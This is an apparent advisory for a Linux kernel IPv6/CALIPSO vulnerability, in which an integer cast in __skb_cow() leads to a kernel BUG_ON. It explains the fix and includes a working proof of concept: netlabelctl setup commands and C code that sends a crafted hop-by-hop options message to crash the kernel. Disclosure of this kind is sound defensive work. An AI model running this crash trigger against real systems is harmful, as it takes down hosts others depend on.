CVE-2025-71085: 
Linux Kernel vulnerability analysis and mitigation

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

PoC: Using netlabelctl tool:

    netlabelctl map del default
    netlabelctl calipso add pass doi:7
    netlabelctl map add default address:0::1/128 protocol:calipso,7

    Then run the following PoC:

    int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

    // setup msghdr
    int cmsg_size = 2;
    int cmsg_len = 0x60;
    struct msghdr msg;
    struct sockaddr_in6 dest_addr;
    struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                    sizeof(struct cmsghdr) + cmsg_len);
    msg.msg_name = &dest_addr;
    msg.msg_namelen = sizeof(dest_addr);
    msg.msg_iov = NULL;
    msg.msg_iovlen = 0;
    msg.msg_control = cmsg;
    msg.msg_controllen = cmsg_len;
    msg.msg_flags = 0;

    // setup sockaddr
    dest_addr.sin6_family = AF_INET6;
    dest_addr.sin6_port = htons(31337);
    dest_addr.sin6_flowinfo = htonl(31337);
    dest_addr.sin6_addr = in6addr_loopback;
    dest_addr.sin6_scope_id = 31337;

    // setup cmsghdr
    cmsg->cmsg_len = cmsg_len;
    cmsg->cmsg_level = IPPROTO_IPV6;
    cmsg->cmsg_type = IPV6_HOPOPTS;
    char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
    hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

    sendmsg(fd, &msg, 0);